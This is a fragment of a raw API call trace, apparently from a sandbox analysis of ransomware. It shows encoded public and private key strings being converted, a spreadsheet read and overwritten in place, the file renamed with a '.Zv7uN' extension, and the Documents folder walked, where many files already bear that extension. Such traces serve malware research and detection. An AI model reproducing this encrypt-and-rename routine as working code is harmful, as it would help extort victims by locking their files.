CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.394] GetCurrentThreadId () returned 0xa30 [0088.394] GetCurrentThreadId () returned 0xa30 [0088.505] GetCurrentThreadId () returned 0xa30 [0088.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys0oguz6oji9t.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.506] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.506] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.506] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x17ae [0088.506] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.506] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x17ae, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x17ae, lpOverlapped=0x0) returned 1 [0088.508] CloseHandle (hObject=0x124) returned 1 [0088.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys0oguz6oji9t.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.510] WriteFile (in: hFile=0x124, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x17ae, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f978*=0x17ae, lpOverlapped=0x0) returned 1 [0088.512] CloseHandle (hObject=0x124) returned 1 [0088.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys0oguz6oji9t.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys0oguz6oji9t.xlsx.zv7un")) returned 1 [0088.520] GetCurrentThreadId () returned 0xa30 [0088.520] GetCurrentThreadId () returned 0xa30 [0088.520] GetCurrentThreadId () returned 0xa30 [0088.520] GetCurrentThreadId () returned 0xa30 [0088.520] GetCurrentThreadId () returned 0xa30 [0088.520] GetCurrentThreadId () returned 0xa30 [0088.520] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1968c0f0, ftCreationTime.dwHighDateTime=0x1d57ac1, ftLastAccessTime.dwLowDateTime=0xfa7875e0, ftLastAccessTime.dwHighDateTime=0x1d5a91a, ftLastWriteTime.dwLowDateTime=0xfa7875e0, ftLastWriteTime.dwHighDateTime=0x1d5a91a, nFileSizeHigh=0x0, nFileSizeLow=0x17ae, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="YS0OguZ6OJI9t.xlsx", cAlternateFileName="YS0OGU~1.XLS")) returned 0 [0088.520] GetLastError () returned 0x12 [0088.520] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0088.520] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52a519e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52a519e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0088.520] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0088.521] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.521] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52a519e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52a519e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0088.521] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.521] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.521] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaed6d0, ftCreationTime.dwHighDateTime=0x1d59cb9, ftLastAccessTime.dwLowDateTime=0x687f39d0, ftLastAccessTime.dwHighDateTime=0x1d5b333, ftLastWriteTime.dwLowDateTime=0x526bf8e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5434, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="-DpF-3V_.docx.Zv7uN", cAlternateFileName="-DPF-3~1.ZV7")) returned 1 [0088.521] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.521] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.521] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe95820, ftCreationTime.dwHighDateTime=0x1d57aa6, ftLastAccessTime.dwLowDateTime=0xb66860d0, ftLastAccessTime.dwHighDateTime=0x1d59b15, ftLastWriteTime.dwLowDateTime=0x526e5a40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x15b5e, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="-s mpTOnNpWunebm.docx.Zv7uN", cAlternateFileName="-SMPTO~1.ZV7")) returned 1 [0088.521] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.521] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.521] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1006fe0, ftCreationTime.dwHighDateTime=0x1d5c4db, ftLastAccessTime.dwLowDateTime=0xbd0344c0, ftLastAccessTime.dwHighDateTime=0x1d5da29, ftLastWriteTime.dwLowDateTime=0x52731d00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x10d09, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="2wyN1v_bomEHhDPaBS.pptx.Zv7uN", cAlternateFileName="2WYN1V~1.ZV7")) returned 1 [0088.521] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.521] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.521] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73bd6990, ftCreationTime.dwHighDateTime=0x1d560e8, ftLastAccessTime.dwLowDateTime=0xae1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5a3aa, ftLastWriteTime.dwLowDateTime=0x52757e60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14f58, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="5lN31fAPZCnHRtzpRQ.xlsx.Zv7uN", cAlternateFileName="5LN31F~1.ZV7")) returned 1 [0088.521] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.521] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.521] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x880f1fc0, ftCreationTime.dwHighDateTime=0x1d568cb, ftLastAccessTime.dwLowDateTime=0x1a2ef410, ftLastAccessTime.dwHighDateTime=0x1d56d00, ftLastWriteTime.dwLowDateTime=0x527a4120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x355c, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="CdH12jxKESc8sWeA7C.pptx.Zv7uN", cAlternateFileName="CDH12J~1.ZV7")) returned 1 [0088.522] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.522] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.522] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf56ee360, ftCreationTime.dwHighDateTime=0x1d5e815, ftLastAccessTime.dwLowDateTime=0x2ebf30d0, ftLastAccessTime.dwHighDateTime=0x1d5e176, ftLastWriteTime.dwLowDateTime=0x527ca280, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12af, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="Ck9o.pptx.Zv7uN", cAlternateFileName="CK9OPP~1.ZV7")) returned 1 [0088.522] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.522] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.522] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa245820, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0xcb8fda0, ftLastAccessTime.dwHighDateTime=0x1d5e085, ftLastWriteTime.dwLowDateTime=0xcb8fda0, ftLastWriteTime.dwHighDateTime=0x1d5e085, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="dePX8rTxd", cAlternateFileName="DEPX8R~1")) returned 1 [0088.522] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.522] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa245820, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0xcb8fda0, ftLastAccessTime.dwHighDateTime=0x1d5e085, ftLastWriteTime.dwLowDateTime=0xcb8fda0, ftLastWriteTime.dwHighDateTime=0x1d5e085, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0088.522] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa245820, ftCreationTime.dwHighDateTime=0x1d5e81c, ftLastAccessTime.dwLowDateTime=0xcb8fda0, ftLastAccessTime.dwHighDateTime=0x1d5e085, ftLastWriteTime.dwLowDateTime=0xcb8fda0, ftLastWriteTime.dwHighDateTime=0x1d5e085, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.522] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaba3ba0, ftCreationTime.dwHighDateTime=0x1d5e377, ftLastAccessTime.dwLowDateTime=0xbb3d77f0, ftLastAccessTime.dwHighDateTime=0x1d5e334, ftLastWriteTime.dwLowDateTime=0xbb3d77f0, ftLastWriteTime.dwHighDateTime=0x1d5e334, nFileSizeHigh=0x0, nFileSizeLow=0x8f07, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="-0cgImthwd.xls", cAlternateFileName="-0CGIM~1.XLS")) returned 1 [0088.522] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0088.522] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.522] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\-0cgimthwd.xls"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaba3ba0, ftCreationTime.dwHighDateTime=0x1d5e377, ftLastAccessTime.dwLowDateTime=0xbb3d77f0, ftLastAccessTime.dwHighDateTime=0x1d5e334, ftLastWriteTime.dwLowDateTime=0xbb3d77f0, ftLastWriteTime.dwHighDateTime=0x1d5e334, nFileSizeHigh=0x0, nFileSizeLow=0x8f07)) returned 1 [0088.523] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\-0cgimthwd.xls")) returned 0x20 [0088.523] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\-0cgImthwd.xls", dwFileAttributes=0x80) returned 1 [0088.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 